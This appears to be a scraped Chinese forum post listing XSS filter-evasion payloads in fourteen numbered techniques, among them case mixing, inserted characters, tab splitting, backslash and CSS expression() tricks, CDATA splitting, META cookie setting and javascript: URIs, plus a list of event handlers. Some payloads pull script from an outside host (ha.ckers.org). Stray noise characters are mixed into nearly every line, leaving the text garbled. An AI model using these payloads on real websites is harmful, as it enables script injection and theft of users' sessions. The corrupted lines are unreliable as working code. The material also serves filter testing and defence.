1. 改变字符大小写3 D8 d7 |# |7 s/ z& o; ~6 u! M
1 {( B* [5 c0 K* X& e3 ^ , W8 H" V/ K6 I: Y
( L- i" M7 ]" \- e. m/ a1 q
<sCript>alert(‘d’)</scRipT>) b6 R9 _' C# i1 P7 A4 ^
# a( D, _9 x8 j; t; t
2. 利用多加一些其它字符来规避Regular Expression的检查
2 w; W4 j0 V2 q: u3 P2 \' X a
% h8 z q' J) g; n <<script>alert(‘c’)//<</script># x$ v H. a: B i, s9 J3 _+ T
* T |/ U* G7 w9 j
<SCRIPT a=">" SRC="t.js"></SCRIPT>" r4 s N% P" W
7 R+ @! M5 v L
<SCRIPT =">" SRC="t.js"></SCRIPT>. y" W1 ~$ Z8 X2 l" R2 \
7 \/ g& q/ `( o |! j4 O4 H# j
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>1 R" n4 e G; U" L
9 F8 H4 P6 ]! E" E% F
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>7 H L: Y; `0 K2 \2 ~
5 v; b2 Z3 { q+ k
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
! E2 q2 f4 i7 f8 o# u
6 y) T* J% d" D <SCRIPT a=">’>" SRC="t.js"></SCRIPT>0 _3 k* l7 R3 Z0 i& l0 P
1 D; y3 F- _( u$ l. r
3. 以其它扩展名取代.js8 h1 l, C( u8 Z
- S {. e# ^' `+ ~ <script src="bad.jpg"></script>
9 R5 n3 C4 w* c! ~
H v: e% ~8 R# o2 U4. 将Javascript写在CSS档里
/ I/ \0 Z$ K, A A* j
* V3 ~( \' e! G T8 { <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
; K) C! n& ?/ | g8 J8 y$ {4 P% e2 S3 k- a6 n4 e& |
example:
) ]2 |2 I+ O8 v* W+ j" u
+ b5 c7 _+ B2 J1 m# p% M3 Y J body {
) ^2 e% _5 k# |! _9 U; x8 @; q7 F9 y H
background-image: url(‘javascript:alert("XSS");’)
! u/ |. g5 I! A I, o8 O L
/ L0 U# j* \3 w* M+ F }/ Y' m H3 D4 }
, x8 C- C3 F# R' z# U9 N" i* ]- D5. 在script的tag里加入一些其它字符6 l5 [. T- q6 e8 |
7 n( a# X. z6 ^" w- b5 ]$ k
<SCRIPT/SRC="t.js"></SCRIPT>
' k4 p0 ? n6 ?6 B8 E7 n- a+ R& T
8 x! Z9 k, N0 `! `$ i8 G: }. I <SCRIPT/anyword SRC="t.js"></SCRIPT>
8 ?' [3 |3 l+ F2 O7 O, T/ z$ p; r* v. T
6. 使用tab或是new line来规避
' U2 {! i( N" B' S; N2 _" Q; P3 ^, v( a
<img src="jav ascr ipt:alert(‘XSS3′)">+ J! g) a' V( f" f' P" W; p: A
- G0 G" v7 G) W1 Q) C {
<img src="jav ascr ipt:alert(‘XSS3′)">* L) b' \# O! x/ U9 T, m5 [
' q1 y* o! W% [$ B <IMG SRC="jav ascript:alert(‘XSS’);">
D& q/ W2 ]4 ~" }
& I! @3 [7 \3 B$ |% X% L -> tag
; E" e8 s. P3 z( w2 I
& d5 q0 S% ?! G" r( N+ E3 G -> new line
! V: E( F- A; S$ o! h3 _, h5 r: @2 t% A' ^! t g2 I
7. 使用"\"来规避- ?* I. u- ?* e
( p3 M3 l) z, z% M" s0 g% f/ ` <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>; X6 e' ?" H2 M% D
8 H& ]- D# R6 d6 E ^ <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>9 N* F" ~ r- }$ }& u8 O
- y: I d8 r/ f; P- ~
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
! X. L. H, F. R6 o |. [6 R4 R5 p9 \. |# k2 q2 Q1 l
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- o# @! x5 ?# Y8 n3 D$ R8 h' k3 P
* s0 {! I, o7 c& D: k6 H& [ <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>3 L' R+ O) W2 w
4 w& l5 m( M3 [/ i0 V. ]8. 使用Hex encode来规避(也可能会把";"拿掉)' y3 U/ [% \' h+ ]5 Y
' n$ o: {# L/ U# \0 M" a v8 q
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 K8 c! C+ J+ Y+ @5 P; G( Q2 b! g, s5 c, d: O
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"># O3 V5 [0 r8 \7 i7 T5 z. V6 }: \
" l4 M0 y4 h4 w% l
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">% U: h! f# b$ U$ r
6 @& ^2 a4 ~* d" F6 q 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">7 o1 O5 K, |* Z8 g& Z) Y
0 D" k( F& @& J! C' b% o
9. script in HTML tag# [4 `: \4 ^4 G/ L
% z6 \; C. e7 Y
<body onload=」alert(‘onload’)」>
% I: g% U; d. w1 m
! X3 D% v: V' W- a onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
# ]- W4 _# ?! }1 [+ @/ j( B
" l, p' C( U9 c, [/ V3 u2 P10. 在swf里含有xss的code) v7 n$ l- a) W% c
8 i: U. v! h; ^0 W
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
_6 V @3 a$ q/ F0 S$ G& l% {# f) x: g3 _. _& v
11. 利用CDATA将xss的code拆开,再组合起来。. }! x- m/ C7 |* g3 {8 H
; {" ]. o: @7 n; U# Q! Y
<XML ID=I><X><C>! j" y; a- P3 C! [5 @6 N5 m
5 e0 u& E, \" J* W# B |+ B
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>" y$ M/ [ z5 @' ?7 s3 k- l7 \
/ V* F+ ^% |4 X) |$ B1 O* H( ^' \
</C></X>
( m/ `: h) [5 @7 I$ v% j6 R# D" O1 `
" _0 T$ o8 Q' t d4 M$ }4 I! k </xml>
& s7 v5 z0 {9 ]3 J
" J( i$ q1 @6 E) o <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>7 w$ x; O t$ C
" _) S4 L! m1 h8 W9 I9 I
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
0 H: c. s) ? E' \
5 z; [! Z, K0 j8 ?: n& X1 | <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
% Q0 M& M# E% N M0 P0 F$ o: v) _# X8 [9 h: e
12. 利用HTML+TIME。
4 r( i* `3 Z$ Z) R5 W9 q+ Y) L- D5 k
<HTML><BODY>; ^( Q0 b, X3 m* C
) S9 Y8 t) a" r6 c% u <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
. `% y) ~6 f1 b( \# {* m$ n/ d
4 ]# ^- S& \. {3 ]- @ <?import namespace="t" implementation="#default#time2">
) B N- F; J+ `" G" r. Q$ p
M9 J. x y/ q <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">" O, ~. L, S1 X% ?+ p
5 s/ @( S- ]& _( L/ M
</BODY></HTML>
2 k6 @5 U4 D {7 |7 A2 Y9 H- R: C9 C, u1 f+ ]2 p
13. 透过META写入Cookie。0 m1 P- n% V% l8 L5 N
! y7 G9 Q6 `: P o }$ j8 ^ <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">' X0 z5 p2 s2 C7 O7 @$ C6 ]# c
- X; y6 g% D* l& a14. javascript in src , href , url
7 ^2 x' h( T1 i. o8 g1 a ^3 A2 r
/ @" w5 Z5 N3 e <IFRAME SRC=javascript:alert(’13′)></IFRAME>
) }/ K2 M7 C0 t0 {; K6 S1 B# a1 l0 \1 y' d# R* y8 n- N& m
<img src="javascript:alert(‘XSS3′)">; p' {% n- `3 y/ [% s$ K
. h4 b ?' n* Y8 v
<IMG DYNSRC="javascript:alert(‘XSS20′)">
6 C- }+ J0 |( D1 W; ~' Q
4 U% J; ?1 S0 }! B3 Q! @$ U/ { <IMG LOWSRC="javascript:alert(‘XSS21′)">% y7 j8 h/ V" o3 t) T
- ?- B- l0 `; C, V" d# X
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">* g! e% C* C/ o0 J" o/ r: |+ u
; T* r6 E6 p9 b) v. h% H- b" `
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
" O! M7 m+ I0 R9 j- S. z/ F& m5 o2 \: |% ^. I
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
* w' p8 m5 c8 F" v8 ?1 X9 _$ l# A* @7 U$ ?
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
& ]4 B5 s! Q$ Z+ E3 w W
, G2 O0 t' [5 V9 l6 _ <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}$ e, ^! t. d5 B( \! ^; \& b
/ F) A J% K8 Z' q1 x1 {
</STYLE><A CLASS=XSS></A> w9 Q- { O. D3 J
. a% {& M8 _7 I5 \& W( _ <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>, i/ H! P# @; {
6 G, a" b; C& O: f5 p0 V. V5 b
|